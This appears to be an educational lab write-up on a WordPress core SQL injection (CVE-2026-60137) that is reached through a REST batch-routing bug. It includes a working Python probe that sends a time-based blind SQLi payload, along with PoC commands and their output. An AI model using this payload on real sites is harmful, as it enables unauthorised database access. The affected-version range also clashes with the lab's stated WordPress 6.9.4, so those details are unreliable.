CVE-2026-60137: WordPress Core author__not_in SQL Injection
Updated August 20, 2026 · Written by PWNMI — see About.
CVE-2026-60137 lives in WordPress core's WP_Query, not a plugin — a type-juggling flaw in how the author__not_in parameter gets sanitized before it's interpolated into a post_author NOT IN (...) SQL clause. Affects WordPress 8.9.0–11.3.9 and several other release lines; fixed alongside the related route-confusion bug. On its own, author__not_in isn't attacker-reachable on a stock install — something has to pass untrusted input into it. In the wild, that something is CVE-2026-63030, a separate WordPress core bug that lets an attacker route a request to the wrong REST handler and land exactly there, pre-auth. Together the two form the chain researchers call "wp2shell," CISA KEV-listed, CVSS 9.8. Technique and lab environment originate from vulhub/vulhub, tracing to sergiointel/wp2shell-poc.
This lab scopes down to CVE-2026-60137's own contribution: proving the injection point itself is real and exploitable. The full weaponized chain — extracting an administrator's ID, forging database rows, and creating a new admin account — is CVE-2026-63030's story, covered in depth in its own lab. Trying to re-explain that whole chain here would just duplicate that page; this one is about understanding and proving the SQL injection primitive underneath it.
What you'll practice: recognizing a type-juggling flaw where sanitization branches on an input's shape (array vs. string) instead of enforcing it, building and calibrating your own timing-based blind SQLi oracle by hand instead of trusting a script's one-line summary, and being precise about what a narrower CVE actually contributes to a chain versus what a more famous sibling CVE gets credited for.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
This CVE shares its lab environment with CVE-2026-63030 — the same vulhub-built WordPress 6.9.4 stack and the same poc.py, since exercising author__not_in in isolation still needs the nested batch-request plumbing that CVE-2026-63030's bug provides; there's no separate build that isolates one from the other. Get the lab files from pwnmihq/resources:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-63030
cd cve-labs/CVE-2026-63030
docker compose up -d
WordPress installs itself automatically on first boot — give it a minute. Capture the container and its IP:
CONTAINER=$(docker compose ps -q web)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
Understanding the vulnerability
WP_Query accepts author__not_in as a list of user IDs to exclude from results. When it arrives as an array, WordPress integer-casts every element before building the query — safe. But the cast only happens for that one shape. Supply author__not_in as a plain string instead, and it survives untouched, interpolated directly into the generated post_author NOT IN (...) SQL clause. Whatever you put there — including a closing parenthesis followed by more SQL — becomes part of the query WordPress actually runs.
The REST API's categories endpoint doesn't even register an author_exclude parameter, so on its own this looks like a dead end. That's exactly what CVE-2026-63030 solves for an attacker: its route-confusion bug causes a request aimed at categories to actually execute under the posts endpoint's handler, which does map author_exclude straight into the vulnerable author__not_in variable. The injection and the routing bug are two separate defects; neither is exploitable pre-auth without the other.
Exploitation
Run poc.py's non-destructive check mode. It calibrates a timing oracle against the injection point and confirms it's live, without touching the database:
python3 poc.py http://$IP:80 --check
[*] Calibrating the time-based SQL injection oracle
[+] Target is vulnerable (baseline: 0.031s, delayed: 0.428s, SQL delay: 0.4s)
[*] Check-only mode selected; no administrator account was created
That baseline-vs-delayed comparison is two requests, both routed through the same nested-batch trick CVE-2026-63030 provides — the routing is that CVE's contribution, the injection is this one's. Reconstructing a single comparison by hand makes the primitive concrete instead of trusting a script's summary line. Save this as probe.py:
import json, sys, time, urllib.request, urllib.parse
target, condition = sys.argv[1], sys.argv[2]
query = f"SELECT IF(({condition}),SLEEP(4),0)"
payload = {
"requests": [
{"method": "POST", "path": "http://:"},
{"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [
{"method": "GET", "path": "http://:"},
{"method": "GET", "path": "/wp/v2/categories?" + urllib.parse.urlencode({"author_exclude": query})},
{"method": "GET", "path": "/wp/v2/posts"},
]}},
{"method": "POST", "path": "/batch/v1"},
]
}
req = urllib.request.Request(
f"{target}/?rest_route=/batch/v1",
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
started = time.perf_counter()
urllib.request.urlopen(req, timeout=30).read()
print(f"{time.perf_counter() - started:.3f}s")
Run it once with a false condition, once with a true one:
python3 probe.py "http://$IP" "1=0"
python3 probe.py "http://$IP" "1=1"
The false case comes back in well under a second. The true case takes roughly four seconds longer — matching the SLEEP(4) in the injected query almost exactly, not just "noticeably slower." That precision is what separates a real proof from network jitter: a generically slow response could mean anything, but a delay that tracks the exact sleep duration you asked for means your SQL is the thing being evaluated.
This is where this lab's verification stops. The full wp2shell chain uses this same oracle to binary-search out a table prefix and an administrator's user ID, then forges database rows that get treated as a legitimate Customizer changeset — eventually creating a brand-new administrator account entirely through blind extraction and injected writes. That's CVE-2026-63030's story end to end; see its lab for the complete, independently-verified chain. What's confirmed here is narrower and sits earlier in that chain: the injection point itself is real, and precisely as sensitive to attacker-controlled boolean logic as the advisory describes.
Cleanup
Nothing to revert. Every request in this walkthrough — poc.py --check and the manual probe.py runs — is a read-only timing measurement against the categories endpoint. None of them write to wp_posts or create any account; that only happens in the full chain covered on CVE-2026-63030's page. Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- Sanitization that branches on input shape isn't sanitization. Casting an array's elements to integers but leaving a string untouched isn't a smaller version of the fix — it's a hole with the same shape as the bug the cast was supposed to close. Check every type a parameter could arrive as, not just the one the happy path expects.
- A timing oracle's precision is the proof, not just "slow vs. fast." A one-off slow response could be load, a cold cache, or coincidence. A delay that consistently tracks the exact
SLEEP()duration you injected, repeatable across runs, is what turns a timing measurement into real evidence of SQL execution. - A CVE's own primitive is worth verifying even when a flashier chained CVE gets the CVSS score and the headline. CVE-2026-60137 isn't the pre-auth reachability or the account takeover — those belong to CVE-2026-63030. But the injection itself is a distinct, real defect in WordPress core, and understanding it in isolation is what makes the combined chain make sense.
Next step
For the complete chain this primitive feeds into — pre-auth reachability, blind extraction, and a verified administrator account takeover — see CVE-2026-63030 (WordPress Core Pre-Auth Admin Takeover). For automating blind SQLi extraction once you've confirmed an injection point like this one, see the sqlmap cheatsheet.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.